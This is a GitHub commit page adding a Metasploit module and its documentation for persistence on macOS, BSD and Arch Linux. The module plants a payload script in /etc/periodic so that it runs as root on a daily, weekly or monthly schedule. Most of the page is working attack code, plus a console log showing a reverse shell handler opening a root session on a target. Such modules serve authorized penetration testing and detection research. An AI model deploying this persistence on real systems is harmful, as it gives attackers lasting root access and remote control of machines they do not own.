Skip to content

Commit 5d59fbd

Browse files
authored
Land #19903, adds module for periodic script persistence
Add OSX Periodic Script Peristence
2 parents c163cb3 + 2681e7c commit 5d59fbd

File tree

2 files changed

+168
-0
lines changed

2 files changed

+168
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## Description
2+
3+
This module provides a persistence mechanism on OSX, BSD and Arch Linux
4+
using periodic scripts. The modules will write a script to `/etc/periodic
5+
/daily/`, `/etc/periodic/weekly/` or `/etc/periodic/monthly/`. This
6+
script will then execute a payload which is written by default to `/tmp/`.
7+
8+
## Verification Steps
9+
10+
1. Obtain a session with super user privilleges, only the root
11+
user has write permissions to `/etc/periodic/`
12+
2. Do: `use exploit/multi/local/periodic_script_persistence`
13+
3. Do: `set session #`
14+
4. Do: `set target #`
15+
5. Do: `set payload #`
16+
6. Do: `set verbose true`
17+
7. Do: `expoit`
18+
19+
## Options
20+
21+
### PERIODIC_DIR
22+
23+
Periodic Directory to write script eg. /etc/periodic/daily
24+
25+
### PERIODIC_SCRIPT_NAME
26+
27+
Name of periodic script
28+
29+
30+
31+
## Scenarios
32+
```
33+
msf6 exploit(multi/local/periodic_script_persistence) > set session 1
34+
session => 1
35+
msf6 exploit(multi/local/periodic_script_persistence) > run verbose=true
36+
37+
[*] Running automatic check ("set AutoCheck false" to disable)
38+
[+] The target is vulnerable. /etc/periodic/daily/ is writable
39+
[*] Writing '/etc/periodic/daily/jX3dG9' (118 bytes) ...
40+
[*] Succesfully wrote periodic script to /etc/periodic/daily/jX3dG9.
41+
[*] Cleanup command 'sudo rm/etc/periodic/daily/jX3dG9'
42+
msf6 exploit(multi/local/periodic_script_persistence) > handler -p cmd/unix/reverse_zsh -P 4444 -H ens39
43+
[*] Payload handler running as background job 4.
44+
45+
msf6 exploit(multi/local/periodic_script_persistence) > [*] Started reverse TCP handler on 192.168.168.219:4444
46+
[*] Command shell session 6 opened (192.168.168.219:4444 -> 192.168.168.175:49190) at 2025-08-29 17:49:54 +0200
47+
msf6 exploit(multi/local/periodic_script_persistence) > sessions
48+
49+
Active sessions
50+
===============
51+
52+
Id Name Type Information Connection
53+
-- ---- ---- ----------- ----------
54+
1 meterpreter x64/osx root @ mss-Mac.local 192.168.168.219:4242 -> 192.168.168.175:49165 (192.168.168.175)
55+
6 shell cmd/unix 192.168.168.219:4444 -> 192.168.168.175:49190 (192.168.168.175)
56+
57+
msf6 exploit(multi/local/periodic_script_persistence) > sessions 6
58+
[*] Starting interaction with 6...
59+
60+
id
61+
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
62+
```
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
include Msf::Post::File
11+
include Msf::Exploit::EXE
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Periodic Script Persistence',
18+
'Description' => %q{
19+
This module will achieve persistence by writing a script to the /etc/periodic directory.
20+
According to The Art of Mac Malware no such malware species persist in this manner (2024).
21+
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [
25+
'gardnerapp',
26+
'msutovsky-r7'
27+
],
28+
'References' => [
29+
[
30+
'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
31+
'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'
32+
]
33+
],
34+
'DisclosureDate' => '2012-04-01',
35+
'Privileged' => true,
36+
'Platform' => %w[bsd unix osx],
37+
'Targets' => [
38+
[ 'OSX', { 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Platform' => 'osx' } ],
39+
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
40+
[ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
41+
[ 'Bsd', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'bsd' }]
42+
],
43+
'DefaultOptions' => {
44+
'DisablePayloadHandler' => true
45+
},
46+
'DefaultTarget' => 4,
47+
'SessionTypes' => [ 'shell', 'meterpreter' ],
48+
'Notes' => {
49+
'Stability' => [CRASH_SAFE],
50+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
51+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
52+
}
53+
)
54+
)
55+
56+
register_options([
57+
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
58+
OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),
59+
])
60+
end
61+
62+
def check
63+
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
64+
65+
return CheckCode::Vulnerable "#{periodic} is writable" if writable? periodic
66+
67+
CheckCode::Safe "Unable to write to #{periodic}"
68+
end
69+
70+
def write_periodic_script(payload_content)
71+
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
72+
73+
periodic_script_name = datastore['PERIODIC_SCRIPT_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(rand(6..13)) : datastore['PERIODIC_SCRIPT_NAME']
74+
periodic_script = File.join(periodic_dir, periodic_script_name)
75+
76+
@clean_up_rc << periodic_script.to_s
77+
78+
fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}") unless upload_and_chmodx(periodic_script, payload_content)
79+
80+
print_status "Succesfully wrote periodic script to #{periodic_script}."
81+
end
82+
83+
def exploit
84+
@clean_up_rc = 'sudo rm'
85+
86+
if target['Arch'] == ARCH_PYTHON
87+
print_status 'Getting python version & path.'
88+
89+
python = cmd_exec('which python3 || which python2 || which python')
90+
91+
fail_with(Failure::PayloadFailed, 'Unable to find python version. ') if python.blank? || !file?(python)
92+
93+
print_good "Found python path #{python}"
94+
95+
payload_bin = "#{python}\n" + payload.encoded
96+
elsif target['Arch'] == ARCH_CMD
97+
payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n" + payload.encoded
98+
else
99+
payload_bin = generate_payload_exe
100+
end
101+
102+
write_periodic_script payload_bin
103+
104+
print_status("Cleanup command '#{@clean_up_rc}'")
105+
end
106+
end

0 commit comments

Comments
 (0)